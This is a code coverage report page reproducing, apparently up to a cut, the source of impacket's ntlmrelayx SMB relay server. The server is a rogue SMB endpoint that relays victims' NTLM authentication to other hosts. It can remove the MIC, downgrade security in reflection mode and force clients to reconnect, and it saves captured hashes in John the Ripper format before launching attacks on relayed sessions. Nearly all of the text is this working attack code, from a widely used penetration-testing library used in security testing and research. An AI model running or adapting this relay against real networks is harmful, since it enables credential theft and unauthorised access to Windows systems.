Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/smbrelayserver.py: 7%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/servers/smbrelayserver.py : 7%

## 471 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.

2#

3# This software is provided under under a slightly modified version

4# of the Apache Software License. See the accompanying LICENSE file

5# for more information.

6#

7# SMB Relay Server

8#

9# Authors:

10# Alberto Solino (@agsolino)

11# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)

12#

13# Description:

14# This is the SMB server which relays the connections

15# to other protocols

16 from __future__ import division

17 from __future__ import print_function

18 from threading import Thread

19 try:

20 import ConfigParser

21 except ImportError:

22 import configparser as ConfigParser

23 import struct

24 import logging

25 import time

26 import calendar

27 import random

28 import string

29 import socket

30 import ntpath

31

32 from binascii import hexlify, unhexlify

33 from six import b

34 from impacket import smb, ntlm, LOG, smb3

35 from impacket.nt_errors import STATUS_MORE_PROCESSING_REQUIRED, STATUS_ACCESS_DENIED, STATUS_SUCCESS, STATUS_NETWORK_SESSION_EXPIRED

36 from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech

37 from impacket.smbserver import SMBSERVER, outputToJohnFormat, writeJohnOutputToFile

38 from impacket.spnego import ASN1_AID, MechTypes, ASN1_SUPPORTED_MECH

39 from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections

40 from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor

41 from impacket.smbserver import getFileTime, decodeSMBString, encodeSMBString

42

43 class SMBRelayServer(Thread):

44 def __init__(self,config):

45 Thread.__init__(self)

46 self.daemon = True

47 self.server = 0

48 #Config object

49 self.config = config

50 #Current target IP

51 self.target = None

52 #Targets handler

53 self.targetprocessor = self.config.target

54 #Username we auth as gets stored here later

55 self.authUser = None

56 self.proxyTranslator = None

57

58 # Here we write a mini config for the server

59 smbConfig = ConfigParser.ConfigParser()

60 smbConfig.add_section('global')

61 smbConfig.set('global','server_name','server_name')

62 smbConfig.set('global','server_os','UNIX')

63 smbConfig.set('global','server_domain','WORKGROUP')

64 smbConfig.set('global','log_file','smb.log')

65 smbConfig.set('global','credentials_file','')

66

67 if self.config.smb2support is True:

68 smbConfig.set("global", "SMB2Support", "True")

69 else:

70 smbConfig.set("global", "SMB2Support", "False")

71

72 if self.config.outputFile is not None:

73 smbConfig.set('global','jtr_dump_path',self.config.outputFile)

74

75 if self.config.SMBServerChallenge is not None:

76 smbConfig.set('global', 'challenge', self.config.SMBServerChallenge)

77

78 # IPC always needed

79 smbConfig.add_section('IPC$')

80 smbConfig.set('IPC$','comment','')

81 smbConfig.set('IPC$','read only','yes')

82 smbConfig.set('IPC$','share type','3')

83 smbConfig.set('IPC$','path','')

84

85 # Change address_family to IPv6 if this is configured

86 if self.config.ipv6:

87 SMBSERVER.address_family = socket.AF_INET6

88

89 # changed to dereference configuration interfaceIp

90 if self.config.listeningPort:

91 smbport = self.config.listeningPort

92 else:

93 smbport = 445

94

95 self.server = SMBSERVER((config.interfaceIp,smbport), config_parser = smbConfig)

96 logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL)

97

98 self.server.processConfigFile()

99

100 self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)

101 self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX)

102 self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)

103

104 self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate)

105 self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup)

106 self.origsmb2TreeConnect = self.server.hookSmb2Command(smb3.SMB2_TREE_CONNECT, self.smb2TreeConnect)

107 # Let's use the SMBServer Connection dictionary to keep track of our client connections as well

108 #TODO: See if this is the best way to accomplish this

109

110 # changed to dereference configuration interfaceIp

111 self.server.addConnection('SMBRelay', config.interfaceIp, 445)

112

113 ### SMBv2 Part #################################################################

114 def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):

115 connData = smbServer.getConnectionData(connId, checkStatus=False)

116

117 respPacket = smb3.SMB2Packet()

118 respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR

119 respPacket['Status'] = STATUS_SUCCESS

120 respPacket['CreditRequestResponse'] = 1

121 respPacket['Command'] = smb3.SMB2_NEGOTIATE

122 respPacket['SessionID'] = 0

123

124 if isSMB1 is False:

125 respPacket['MessageID'] = recvPacket['MessageID']

126 else:

127 respPacket['MessageID'] = 0

128

129 respPacket['TreeID'] = 0

130

131 respSMBCommand = smb3.SMB2Negotiate_Response()

132

133 # Just for the Nego Packet, then disable it

134 respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED

135

136 if isSMB1 is True:

137 # Let's first parse the packet to see if the client supports SMB2

138 SMBCommand = smb.SMBCommand(recvPacket['Data'][0])

139

140 dialects = SMBCommand['Data'].split(b'\x02')

141 if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects:

142 respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002

143 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21

144 else:

145 # Client does not support SMB2 fallbacking

146 raise Exception('Client does not support SMB2, fallbacking')

147 else:

148 respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002

149 #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21

150

151 respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)]))

152 respSMBCommand['Capabilities'] = 0

153 respSMBCommand['MaxTransactSize'] = 65536

154 respSMBCommand['MaxReadSize'] = 65536

155 respSMBCommand['MaxWriteSize'] = 65536

156 respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))

157 respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))

158 respSMBCommand['SecurityBufferOffset'] = 0x80

159

160 blob = SPNEGO_NegTokenInit()

161 blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],

162 TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]

163

164

165 respSMBCommand['Buffer'] = blob.getData()

166 respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])

167

168 respPacket['Data'] = respSMBCommand

169

170 smbServer.setConnectionData(connId, connData)

171

172 return None, [respPacket], STATUS_SUCCESS

173

174

175 def SmbSessionSetup(self, connId, smbServer, recvPacket):

176 connData = smbServer.getConnectionData(connId, checkStatus = False)

177

178 #############################################################

179 # SMBRelay

180 # Are we ready to relay or should we just do local auth?

181 if 'relayToHost' not in connData:

182 # Just call the original SessionSetup

183 respCommands, respPackets, errorCode = self.origSmbSessionSetup(connId, smbServer, recvPacket)

184 # We remove the Guest flag

185 if 'SessionFlags' in respCommands[0].fields:

186 respCommands[0]['SessionFlags'] = 0x00

187 return respCommands, respPackets, errorCode

188

189 # We have confirmed we want to relay to the target host.

190 respSMBCommand = smb3.SMB2SessionSetup_Response()

191 sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])

192

193 connData['Capabilities'] = sessionSetupData['Capabilities']

194

195 securityBlob = sessionSetupData['Buffer']

196

197 rawNTLM = False

198 if struct.unpack('B',securityBlob[0:1])[0] == ASN1_AID:

199 # NEGOTIATE packet

200 blob = SPNEGO_NegTokenInit(securityBlob)

201 token = blob['MechToken']

202 if len(blob['MechTypes'][0]) > 0:

203 # Is this GSSAPI NTLM or something else we don't support?

204 mechType = blob['MechTypes'][0]

205 if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \

206 mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:

207 # Nope, do we know it?

208 if mechType in MechTypes:

209 mechStr = MechTypes[mechType]

210 else:

211 mechStr = hexlify(mechType)

212 smbServer.log("Unsupported MechType '%s'" % mechStr, logging.CRITICAL)

213 # We don't know the token, we answer back again saying

214 # we just support NTLM.

215 respToken = SPNEGO_NegTokenResp()

216 respToken['NegState'] = b'\x03' # request-mic

217 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

218 respToken = respToken.getData()

219 respSMBCommand['SecurityBufferOffset'] = 0x48

220 respSMBCommand['SecurityBufferLength'] = len(respToken)

221 respSMBCommand['Buffer'] = respToken

222

223 return [respSMBCommand], None, STATUS_MORE_PROCESSING_REQUIRED

224 elif struct.unpack('B',securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:

225 # AUTH packet

226 blob = SPNEGO_NegTokenResp(securityBlob)

227 token = blob['ResponseToken']

228 else:

229 # No GSSAPI stuff, raw NTLMSSP

230 rawNTLM = True

231 token = securityBlob

232

233 # Here we only handle NTLMSSP, depending on what stage of the

234 # authentication we are, we act on it

235 messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

236

237 if messageType == 0x01:

238 # NEGOTIATE_MESSAGE

239 negotiateMessage = ntlm.NTLMAuthNegotiate()

240 negotiateMessage.fromString(token)

241 # Let's store it in the connection data

242 connData['NEGOTIATE_MESSAGE'] = negotiateMessage

243

244 #############################################################

245 # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.

246 # Let's send it to the target server and send the answer back to the client.

247 client = connData['SMBClient']

248 try:

249 challengeMessage = self.do_ntlm_negotiate(client, token)

250 except Exception as e:

251 LOG.debug("Exception:", exc_info=True)

252 # Log this target as processed for this client

253 self.targetprocessor.logTarget(self.target)

254 # Raise exception again to pass it on to the SMB server

255 raise

256

257 #############################################################

258

259 if rawNTLM is False:

260 respToken = SPNEGO_NegTokenResp()

261 # accept-incomplete. We want more data

262 respToken['NegState'] = b'\x01'

263 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

264

265 respToken['ResponseToken'] = challengeMessage.getData()

266 else:

267 respToken = challengeMessage

268

269 # Setting the packet to STATUS_MORE_PROCESSING

270 errorCode = STATUS_MORE_PROCESSING_REQUIRED

271 # Let's set up an UID for this connection and store it

272 # in the connection's data

273 connData['Uid'] = random.randint(1,0xffffffff)

274

275 connData['CHALLENGE_MESSAGE'] = challengeMessage

276

277 elif messageType == 0x02:

278 # CHALLENGE_MESSAGE

279 raise Exception('Challenge Message raise, not implemented!')

280

281 elif messageType == 0x03:

282 # AUTHENTICATE_MESSAGE, here we deal with authentication

283 #############################################################

284 # SMBRelay: Ok, so now the have the Auth token, let's send it

285 # back to the target system and hope for the best.

286 client = connData['SMBClient']

287 authenticateMessage = ntlm.NTLMAuthChallengeResponse()

288 authenticateMessage.fromString(token)

289 if authenticateMessage['user_name'] != '':

290 # For some attacks it is important to know the authenticated username, so we store it

291

292 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),

293 authenticateMessage['user_name'].decode('utf-16le'))).upper()

294

295 if rawNTLM is True:

296 respToken2 = SPNEGO_NegTokenResp()

297 respToken2['ResponseToken'] = securityBlob

298 securityBlob = respToken2.getData()

299

300 if self.config.remove_mic:

301 clientResponse, errorCode = self.do_ntlm_auth(client, token,

302 connData['CHALLENGE_MESSAGE']['challenge'])

303 else:

304 clientResponse, errorCode = self.do_ntlm_auth(client, securityBlob,

305 connData['CHALLENGE_MESSAGE']['challenge'])

306 else:

307 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials

308 errorCode = STATUS_ACCESS_DENIED

309

310 if errorCode != STATUS_SUCCESS:

311 #Log this target as processed for this client

312 self.targetprocessor.logTarget(self.target)

313 LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser))

314 client.killConnection()

315 else:

316 # We have a session, create a thread and do whatever we want

317 LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser))

318 # Log this target as processed for this client

319 self.targetprocessor.logTarget(self.target, True, self.authUser)

320

321 ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],

322 authenticateMessage['user_name'],

323 authenticateMessage['domain_name'], authenticateMessage['lanman'],

324 authenticateMessage['ntlm'])

325 client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

326

327 if self.server.getJTRdumpPath() != '':

328 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],

329 self.server.getJTRdumpPath())

330

331 connData['Authenticated'] = True

332 del(connData['relayToHost'])

333

334 self.do_attack(client)

335 # Now continue with the server

336 #############################################################

337

338 if rawNTLM is False:

339 respToken = SPNEGO_NegTokenResp()

340 # accept-completed

341 respToken['NegState'] = b'\x00'

342 else:

343 respToken = ''

344 # Let's store it in the connection data

345 connData['AUTHENTICATE_MESSAGE'] = authenticateMessage

346 else:

347 raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

348

349 respSMBCommand['SecurityBufferOffset'] = 0x48

350 respSMBCommand['SecurityBufferLength'] = len(respToken)

351 if respSMBCommand['SecurityBufferLength'] > 0:

352 respSMBCommand['Buffer'] = respToken.getData()

353 else:

354 respSMBCommand['Buffer'] = ''

355

356 smbServer.setConnectionData(connId, connData)

357

358 return [respSMBCommand], None, errorCode

359

360 def smb2TreeConnect(self, connId, smbServer, recvPacket):

361 connData = smbServer.getConnectionData(connId)

362

363 authenticateMessage = connData['AUTHENTICATE_MESSAGE']

364

365 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'),

366 authenticateMessage['user_name'].decode ('utf-16le'))).upper ()

367

368 # Uncommenting this will stop at the first connection relayed and won't relaying until all targets

369 # are processed. There might be a use case for this

370 #if 'relayToHost' in connData:

371 # # Connection already relayed, let's just answer the request (that will return object not found)

372 # return self.origsmb2TreeConnect(connId, smbServer, recvPacket)

373

374 try:

375 if self.config.mode.upper () == 'REFLECTION':

376 self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP'])

377 if self.authUser == '/':

378 LOG.info('SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' %

379 (connId, connData['ClientIP']))

380 return self.origsmb2TreeConnect (connId, smbServer, recvPacket)

381 self.target = self.targetprocessor.getTarget(identity = self.authUser)

382 if self.target is None:

383 # No more targets to process, just let the victim to fail later

384 LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' %

385 (connId, self.authUser, connData['ClientIP']))

386 return self.origsmb2TreeConnect (connId, smbServer, recvPacket)

387

388 LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % (connId, self.authUser,

389 connData['ClientIP'], self.target.scheme, self.target.netloc))

390

391 if self.config.mode.upper() == 'REFLECTION':

392 # Force standard security when doing reflection

393 LOG.debug("Downgrading to standard security")

394 extSec = False

395 #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)

396 else:

397 extSec = True

398 # Init the correct client for our target

399 client = self.init_client(extSec)

400 except Exception as e:

401 LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))

402 self.targetprocessor.logTarget(self.target)

403 else:

404 connData['relayToHost'] = True

405 connData['Authenticated'] = False

406 del (connData['NEGOTIATE_MESSAGE'])

407 del (connData['CHALLENGE_MESSAGE'])

408 del (connData['AUTHENTICATE_MESSAGE'])

409 connData['SMBClient'] = client

410 connData['EncryptionKey'] = client.getStandardSecurityChallenge()

411 smbServer.setConnectionData(connId, connData)

412

413 respPacket = smb3.SMB2Packet()

414 respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR

415 respPacket['Status'] = STATUS_SUCCESS

416 respPacket['CreditRequestResponse'] = 1

417 respPacket['Command'] = recvPacket['Command']

418 respPacket['SessionID'] = connData['Uid']

419 respPacket['Reserved'] = recvPacket['Reserved']

420 respPacket['MessageID'] = recvPacket['MessageID']

421 respPacket['TreeID'] = recvPacket['TreeID']

422

423 respSMBCommand = smb3.SMB2TreeConnect_Response()

424

425 # This is the key, force the client to reconnect.

426 # It will loop until all targets are processed for this user

427 errorCode = STATUS_NETWORK_SESSION_EXPIRED

428

429

430 respPacket['Status'] = errorCode

431 respSMBCommand['Capabilities'] = 0

432 respSMBCommand['MaximalAccess'] = 0x000f01ff

433

434 respPacket['Data'] = respSMBCommand

435

436 # Sign the packet if needed

437 if connData['SignatureEnabled']:

438 smbServer.signSMBv2(respPacket, connData['SigningSessionKey'])

439

440 smbServer.setConnectionData(connId, connData)

441

442 return None, [respPacket], errorCode

443

444 ################################################################################

445

446 ### SMBv1 Part #################################################################

447 def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):

448 connData = smbServer.getConnectionData(connId, checkStatus = False)

449 if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0:

450 if self.config.mode.upper() == 'REFLECTION':

451 # Force standard security when doing reflection

452 LOG.debug("Downgrading to standard security")

453 recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)

454

455 return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)

456 #############################################################

457

458 def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):

459

460 connData = smbServer.getConnectionData(connId, checkStatus = False)

461

462 #############################################################

463 # SMBRelay

464 # Are we ready to relay or should we just do local auth?

465 if 'relayToHost' not in connData:

466 # Just call the original SessionSetup

467 return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket)

468

469 # We have confirmed we want to relay to the target host.

470 respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

471

472 if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:

473 # Extended security. Here we deal with all SPNEGO stuff

474 respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()

475 respData = smb.SMBSessionSetupAndX_Extended_Response_Data()

476 sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])

477 sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()

478 sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']

479 sessionSetupData.fromString(SMBCommand['Data'])

480 connData['Capabilities'] = sessionSetupParameters['Capabilities']

481

482 rawNTLM = False

483 if struct.unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID:

484 # If there no GSSAPI ID, it must be an AUTH packet

485 blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])

486 token = blob['ResponseToken']

487 else:

488 # NEGOTIATE packet

489 blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])

490 token = blob['MechToken']

491

492 # Here we only handle NTLMSSP, depending on what stage of the

493 # authentication we are, we act on it

494 messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

495

496 if messageType == 0x01:

497 # NEGOTIATE_MESSAGE

498 negotiateMessage = ntlm.NTLMAuthNegotiate()

499 negotiateMessage.fromString(token)

500 # Let's store it in the connection data

501 connData['NEGOTIATE_MESSAGE'] = negotiateMessage

502

503 #############################################################

504 # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.

505 # Let's send it to the target server and send the answer back to the client.

506 client = connData['SMBClient']

507 try:

508 challengeMessage = self.do_ntlm_negotiate(client,token)

509 except Exception:

510 # Log this target as processed for this client

511 self.targetprocessor.logTarget(self.target)

512 # Raise exception again to pass it on to the SMB server

513 raise

514

515 #############################################################

516

517 respToken = SPNEGO_NegTokenResp()

518 # accept-incomplete. We want more data

519 respToken['NegState'] = b'\x01'

520 respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

521 respToken['ResponseToken'] = challengeMessage.getData()

522

523 # Setting the packet to STATUS_MORE_PROCESSING

524 errorCode = STATUS_MORE_PROCESSING_REQUIRED

525

526 # Let's set up an UID for this connection and store it

527 # in the connection's data

528 # Picking a fixed value

529 # TODO: Manage more UIDs for the same session

530 connData['Uid'] = 10

531

532 connData['CHALLENGE_MESSAGE'] = challengeMessage

533

534 elif messageType == 0x03:

535 # AUTHENTICATE_MESSAGE, here we deal with authentication

536 #############################################################

537 # SMBRelay: Ok, so now the have the Auth token, let's send it

538 # back to the target system and hope for the best.

539 client = connData['SMBClient']

540 authenticateMessage = ntlm.NTLMAuthChallengeResponse()

541 authenticateMessage.fromString(token)

542

543 if authenticateMessage['user_name'] != '':

544 #For some attacks it is important to know the authenticated username, so we store it

545 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),

546 authenticateMessage['user_name'].decode('utf-16le'))).upper()

547

548 clientResponse, errorCode = self.do_ntlm_auth(client,sessionSetupData['SecurityBlob'],

549 connData['CHALLENGE_MESSAGE']['challenge'])

550 else:

551 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials

552 errorCode = STATUS_ACCESS_DENIED

553

554 if errorCode != STATUS_SUCCESS:

555 # Let's return what the target returned, hope the client connects back again

556 packet = smb.NewSMBPacket()

557 packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS

558 packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY

559 packet['Command'] = recvPacket['Command']

560 packet['Pid'] = recvPacket['Pid']

561 packet['Tid'] = recvPacket['Tid']

562 packet['Mid'] = recvPacket['Mid']

563 packet['Uid'] = recvPacket['Uid']

564 packet['Data'] = b'\x00\x00\x00'

565 packet['ErrorCode'] = errorCode >> 16

566 packet['ErrorClass'] = errorCode & 0xff

567

568 LOG.error("Authenticating against %s://%s as %s FAILED" % (self.target.scheme, self.target.netloc, self.authUser))

569

570 #Log this target as processed for this client

571 self.targetprocessor.logTarget(self.target)

572

573 client.killConnection()

574

575 return None, [packet], errorCode

576 else:

577 # We have a session, create a thread and do whatever we want

578 LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser))

579

580 # Log this target as processed for this client

581 self.targetprocessor.logTarget(self.target, True, self.authUser)

582

583 ntlm_hash_data = outputToJohnFormat(connData['CHALLENGE_MESSAGE']['challenge'],

584 authenticateMessage['user_name'],

585 authenticateMessage['domain_name'],

586 authenticateMessage['lanman'], authenticateMessage['ntlm'])

587 client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

588

589 if self.server.getJTRdumpPath() != '':

590 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],

591 self.server.getJTRdumpPath())

592

593 self.do_attack(client)

594 # Now continue with the server

595 #############################################################

596

597 respToken = SPNEGO_NegTokenResp()

598 # accept-completed

599 respToken['NegState'] = b'\x00'

600

601 # Done with the relay for now.

602 connData['Authenticated'] = True

603 del(connData['relayToHost'])

604

605 # Status SUCCESS

606 errorCode = STATUS_SUCCESS

607 # Let's store it in the connection data

608 connData['AUTHENTICATE_MESSAGE'] = authenticateMessage

609 else:

610 raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

611

612 respParameters['SecurityBlobLength'] = len(respToken)

613

614 respData['SecurityBlobLength'] = respParameters['SecurityBlobLength']

615 respData['SecurityBlob'] = respToken.getData()

616

617 else:

618 # Process Standard Security

619 #TODO: Fix this for other protocols than SMB [!]

620 respParameters = smb.SMBSessionSetupAndXResponse_Parameters()

621 respData = smb.SMBSessionSetupAndXResponse_Data()

622 sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])

623 sessionSetupData = smb.SMBSessionSetupAndX_Data()

624 sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']

625 sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']

626 sessionSetupData.fromString(SMBCommand['Data'])

627

628 client = connData['SMBClient']

629 _, errorCode = client.sendStandardSecurityAuth(sessionSetupData)

630

631 if errorCode != STATUS_SUCCESS:

632 # Let's return what the target returned, hope the client connects back again

633 packet = smb.NewSMBPacket()

634 packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS

635 packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY

636 packet['Command'] = recvPacket['Command']

637 packet['Pid'] = recvPacket['Pid']

638 packet['Tid'] = recvPacket['Tid']

639 packet['Mid'] = recvPacket['Mid']

640 packet['Uid'] = recvPacket['Uid']

641 packet['Data'] = b'\x00\x00\x00'

642 packet['ErrorCode'] = errorCode >> 16

643 packet['ErrorClass'] = errorCode & 0xff

644

645 #Log this target as processed for this client

646 self.targetprocessor.logTarget(self.target)

647

648 # Finish client's connection

649 #client.killConnection()

650

651 return None, [packet], errorCode

652 else:

653 # We have a session, create a thread and do whatever we want

654 self.authUser = ('%s/%s' % (sessionSetupData['PrimaryDomain'], sessionSetupData['Account'])).upper()

655 LOG.info("Authenticating against %s://%s as %s SUCCEED" % (self.target.scheme, self.target.netloc, self.authUser))

656

657 # Log this target as processed for this client

658 self.targetprocessor.logTarget(self.target, True, self.authUser)

659

660 ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'],

661 sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])

662 client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

663

664 if self.server.getJTRdumpPath() != '':

665 writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],

666 self.server.getJTRdumpPath())

667

668 # Done with the relay for now.

669 connData['Authenticated'] = True

670 del(connData['relayToHost'])

671 self.do_attack(client)

672 # Now continue with the server

673 #############################################################

674

675 respData['NativeOS'] = smbServer.getServerOS()

676 respData['NativeLanMan'] = smbServer.getServerOS()

677 respSMBCommand['Parameters'] = respParameters

678 respSMBCommand['Data'] = respData

679

680

681 smbServer.setConnectionData(connId, connData)

682

683 return [respSMBCommand], None, errorCode

684

685 def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):

686 connData = smbServer.getConnectionData(connId)

687

688 authenticateMessage = connData['AUTHENTICATE_MESSAGE']

689 self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode ('utf-16le'),

690 authenticateMessage['user_name'].decode ('utf-16le'))).upper ()

691

692 # Uncommenting this will stop at the first connection relayed and won't relaying until all targets

693 # are processed. There might be a use case for this

694 #if 'relayToHost' in connData:

695 # # Connection already relayed, let's just answer the request (that will return object not found)

696 # return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket)

697

698 try:

699 if self.config.mode.upper () == 'REFLECTION':

700 self.targetprocessor = TargetsProcessor (singleTarget='SMB://%s:445/' % connData['ClientIP'])

701 if self.authUser == '/':

702 LOG.info('SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.' %

703 (connId, connData['ClientIP']))

704 return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket)

705 self.target = self.targetprocessor.getTarget(identity = self.authUser)

706 if self.target is None:

707 # No more targets to process, just let the victim to fail later

708 LOG.info('SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!' %

709 (connId, self.authUser, connData['ClientIP']))

710 return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket)

711

712 LOG.info('SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s' % ( connId, self.authUser,

713 connData['ClientIP'], self.target.scheme, self.target.netloc))

714

715 if self.config.mode.upper() == 'REFLECTION':

716 # Force standard security when doing reflection

717 LOG.debug("Downgrading to standard security")

718 extSec = False

719 recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)

720 else:

721 extSec = True

722 # Init the correct client for our target

723 client = self.init_client(extSec)

724 except Exception as e:

725 LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))

726 self.targetprocessor.logTarget(self.target)

727 else:

728 connData['relayToHost'] = True

729 connData['Authenticated'] = False

730 del (connData['NEGOTIATE_MESSAGE'])

731 del (connData['CHALLENGE_MESSAGE'])

732 del (connData['AUTHENTICATE_MESSAGE'])

733 connData['SMBClient'] = client

734 connData['EncryptionKey'] = client.getStandardSecurityChallenge()

735 smbServer.setConnectionData(connId, connData)

736

737 resp = smb.NewSMBPacket()

738 resp['Flags1'] = smb.SMB.FLAGS1_REPLY

739 resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \

740 recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE

741

742 resp['Tid'] = recvPacket['Tid']

743 resp['Mid'] = recvPacket['Mid']

744 resp['Pid'] = connData['Pid']

745

746 respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)

747 respParameters = smb.SMBTreeConnectAndXResponse_Parameters()

748 respData = smb.SMBTreeConnectAndXResponse_Data()

749

750 treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters'])

751

752 if treeConnectAndXParameters['Flags'] & 0x8:

753 respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters()

754

755 treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] )

